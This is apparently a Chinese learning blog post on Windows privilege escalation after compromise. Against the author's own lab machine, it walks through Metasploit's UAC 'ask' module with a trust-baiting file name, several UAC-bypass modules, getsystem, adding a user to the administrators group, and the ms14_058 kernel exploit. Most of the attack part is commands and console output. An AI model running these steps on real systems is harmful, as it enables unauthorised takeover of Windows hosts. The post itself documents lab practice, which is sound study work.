zoukankan      html  css  js  c++  java
  • 后渗透(二)权限提升

    0x00:权限提升

    提高程序运行级别

    UAC绕过

    利用提权漏洞进行提权

    0x01:提高程序运行级别

    (1)提高程序运行级别

      msf模块

        Exploit/windows/local/ask

    没有进行绕过UAC,只是请求一个更高的shell

    这种提权还是需要与用户交互

    getuid命令 :getuid命令用于获得运行meterpreter会话的用户名,从而查看当前会话具有的权限

    meterpreter > getuid
    Server username: PLAYSTATIONTopsec-Training
    meterpreter > 
    
    
    meterpreter > getsystem 
    ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
    meterpreter > getwd
    C:UsersTopsec-TrainingDocumentsDownloads
    meterpreter > 
    meterpreter > 
    meterpreter > getuid
    Server username: NT AUTHORITYSYSTEM    //getsystem之后权限就变了
    meterpreter > 

    我这里直接可以获得权限了,应该是跟我的靶机配置有关

    PS:输入get后按Tab键可以打印提示

    如果getsystem失败,例如:这样证明当前权限不够

     调用exploit/windows/local/ask  模块

    msf5 exploit(multi/handler) > use exploit/windows/local/ask  //调用模块
    msf5 exploit(windows/local/ask) > 
    msf5 exploit(windows/local/ask) > 
    msf5 exploit(windows/local/ask) > info
    
           Name: Windows Escalate UAC Execute RunAs
         Module: exploit/windows/local/ask
       Platform: Windows
           Arch: 
     Privileged: No
        License: Metasploit Framework License (BSD)
           Rank: Excellent
      Disclosed: 2012-01-03
    
    Provided by:
      mubix <mubix@hak5.org>
      b00stfr3ak
    
    Available targets:
      Id  Name
      --  ----
      0   Windows
    
    Check supported:
      No
    
    Basic options:
      Name       Current Setting  Required  Description
      ----       ---------------  --------  -----------
      FILENAME                    no        File name on disk
      PATH                        no        Location on disk, %TEMP% used if not set
      SESSION                     yes       The session to run this module on.
      TECHNIQUE  EXE              yes       Technique to use (Accepted: PSH, EXE)
    
    Payload information:
    
    Description:
      This module will attempt to elevate execution level using the 
      ShellExecute undocumented RunAs flag to bypass low UAC settings.
    
    msf5 exploit(windows/local/ask) > 

     设置session 和文件名 文件名设置为用户会信任 的文件名,文件路径什么的也能设置

    msf5 exploit(windows/local/ask) > set session 1
    session => 1

    msf5 exploit(windows/local/ask) > set filename QQmail.exe
    filename => QQmail.exe
    msf5 exploit(windows/local/ask) > show options
    
    Module options (exploit/windows/local/ask):
    
       Name       Current Setting  Required  Description
       ----       ---------------  --------  -----------
       FILENAME   QQmail.exe       no        File name on disk
       PATH                        no        Location on disk, %TEMP% used if not set
       SESSION    1                yes       The session to run this module on.
       TECHNIQUE  EXE              yes       Technique to use (Accepted: PSH, EXE)
    
    
    Exploit target:
    
       Id  Name
       --  ----
       0   Windows
    
    
    msf5 exploit(windows/local/ask) > exploit

     此时windows 7 应该出现,类似这样的弹窗,如果用户点击是提权成功,点击否提权失败

    但是!我的靶机为什么没有弹窗。。。。。裂开,我的是直接生成了一个新的session,可能跟我靶机配置有关(气死偶咧)

    不过总的来说,整个提权过程是这样的,用户点了“是”之后,进入新的session,getsystem

     

    再靶机上换了低权限的用户  ddg 连上session  。getsystem 提权失败  。 用户  ddg 属于 User组(防止用户有意无意的更改系统)

     调用 exploit/windows/local/ask   还是没有出弹窗 不知道为什么了,用 没有权限的 session9  生成了 session11

    但是 session11  还是无法 getsystem  还是必须要弹窗,让用户点击“是”

    防御方式:

    不要乱点 “是,是,是”

    0x02:UAC绕过

    msf模块

      exploit/windows/local/bypassuac

      exploit/windows/local/bypassuac_injection

      exploit/windows/local/bypassuac_vbs

    原理有所不同,使用方法类似,运行后返回一个新的会话,需要再次执行getsystem获取系统权限

    1.什么是用户帐户控制(UAC)?

    Microsoft的Windows Vista和Windows Server 2008操作系统引入了一种良好的用户帐户控制架构,以防止系统范围内的意外更改,这种更改是可以预见的,并且只需要很少的操作量。

    换句话说,它是Windows的一个安全功能,它支持防止对操作系统进行未经授权的修改,UAC确保仅在管理员授权的情况下进行某些更改。如果管理员不允许更改,则不会执行这些更改,并且Windows系统保持不变。

    2.UAC如何运行?

    UAC通过阻止程序执行任何涉及有关系统更改/特定任务的任务来运行。除非尝试执行这些操作的进程以管理员权限运行,否则这些操作将无法运行。如果您以管理员身份运行程序,则它将具有更多权限,因为它将被“提升权限”,而不是以管理员身份运行的程序。

    更多参考:https://www.cnblogs.com/backlion/p/10552137.html

    准备:session 4 是低权限的  session 3 是上面提过权限的

    (3)调用exploit/windows/local/bypassuac   并设置options

    改模块只需要设置一个 session即可

    msf5 exploit(windows/local/bypassuac) > info    //查看模块信息
    
           Name: Windows Escalate UAC Protection Bypass
         Module: exploit/windows/local/bypassuac
       Platform: Windows
           Arch: 
     Privileged: No
        License: Metasploit Framework License (BSD)
           Rank: Excellent
      Disclosed: 2010-12-31
    
    Provided by:
      David Kennedy "ReL1K" <kennedyd013@gmail.com>
      mitnick
      mubix <mubix@hak5.org>
    
    Available targets:
      Id  Name
      --  ----
      0   Windows x86
      1   Windows x64
    
    Check supported:
      No
    
    Basic options:
      Name       Current Setting  Required  Description
      ----       ---------------  --------  -----------
      SESSION                     yes       The session to run this module on.
      TECHNIQUE  EXE              yes       Technique to use if UAC is turned off (Accepted: PSH, EXE)
    
    Payload information:
    
    Description:
      This module will bypass Windows UAC by utilizing the trusted 
      publisher certificate through process injection. It will spawn a 
      second shell that has the UAC flag turned off.
    
    References:
      http://www.trustedsec.com/december-2010/bypass-windows-uac/
    
    msf5 exploit(windows/local/bypassuac) > 

     会获得一个信息 会话,该会话 可以成功执行 getsystem

    我的测试 :已经getsystem获得能够getsystem 应该会提醒 已经提权了

     那么换一个普通用户

    ddg 用户  提示 不再 admin 组中,所以失败了  

    (4)把  ddg用户 加到 admin 组中 试一下

    net  localgroup administrators ddg /add

    貌似还是不行

    跟人家视频上的一模一样啊,难道说是因为 我的靶场 没有漏洞吗,可能还是靶场没设置好

    (5)总结

    如使用bypassuac.rb脚本:

    msf > use exploit/windows/local/bypassuac
    msf > set SESSION 2
    msf > exploit

    Windows权限提升绕过UAC保护(内存注入)

    msf > use exploit/windows/local/bypassuac_injection
    msf exploit(windows/local/bypassuac_injection) > set session 1
    msf exploit(windows/local/bypassuac_injection) > exploit

    绕过Windows UAC保护(通过FodHelper注册表项)

    msf > use exploit/windows/local/bypassuac_fodhelper
    msf exploit(windows/local/bypassuac_fodhelper) > set session 1
    msf exploit(windows/local/bypassuac_fodhelper) > exploit

    Windows权限升级绕过UAC保护(通过Eventvwr注册表项)

    msf > use exploit/windows/local/bypassuac_eventvwr
    msf exploit(windows/local/bypassuac_eventvwr) > set session 1
    msf exploit(windows/local/bypassuac_eventvwr) > exploit

    Windows权限升级绕过UAC保护(通过COM处理程序劫持)

    msf > use exploit/windows/local/bypassuac_comhijack
    msf exploit(windows/local/bypassuac_comhijack) > set session 1
    msf exploit(windows/local/bypassuac_comhijack) > exploit

    0x03:利用提权漏洞进行提权

    利用提权漏洞  windows 7 提权漏洞(还有很多提权漏洞)

    exploit/windows/local/ms14_058_track_popup_menu

    ms16_016

     利用方法:

    use exploit/windows/local/ms14_058_track_popup_menu
    
    set lhost 192.168.109.144
    
    set session 2
    
    exploit

    0x03:总结

    自己去搜了一下,提权方法有很多,主要是利用漏洞的较多

    主要是还得根据实际情况而定,目标主机:是windows还是linux;是哪个版本,不同版本可以利用什么样的漏洞;或者可能目标主机的配置不同,也会利用不用的提权方法

    windows几种提权方式:https://www.freebuf.com/vuls/87463.html

    Finished!

  • 相关阅读:
    Delphi代码获取网卡物理地址三种方法 本文来自Delphi之窗,原文地址:http://www.52delphi.com...
    SQL SERVER 中实现公历到农历的转换
    cxgrid相同列合并显示
    rzCheckList.ItemChecked[Index]就可以判断指定节点地状态.
    为什么PING域名得到IP与实际公网IP不符
    如何让sql server2005和sql server2000共存安装在同一机器上
    如何编译通过 Raize 5.3 中的 RzBorder.pas
    u6升级到u890的过程
    技术部门到底该如何管理才能“和谐”
    在CXGRID中如何让字段能以0.00的格式显示
  • 原文地址:https://www.cnblogs.com/liqik/p/12984397.html
Copyright © 2011-2022 走看看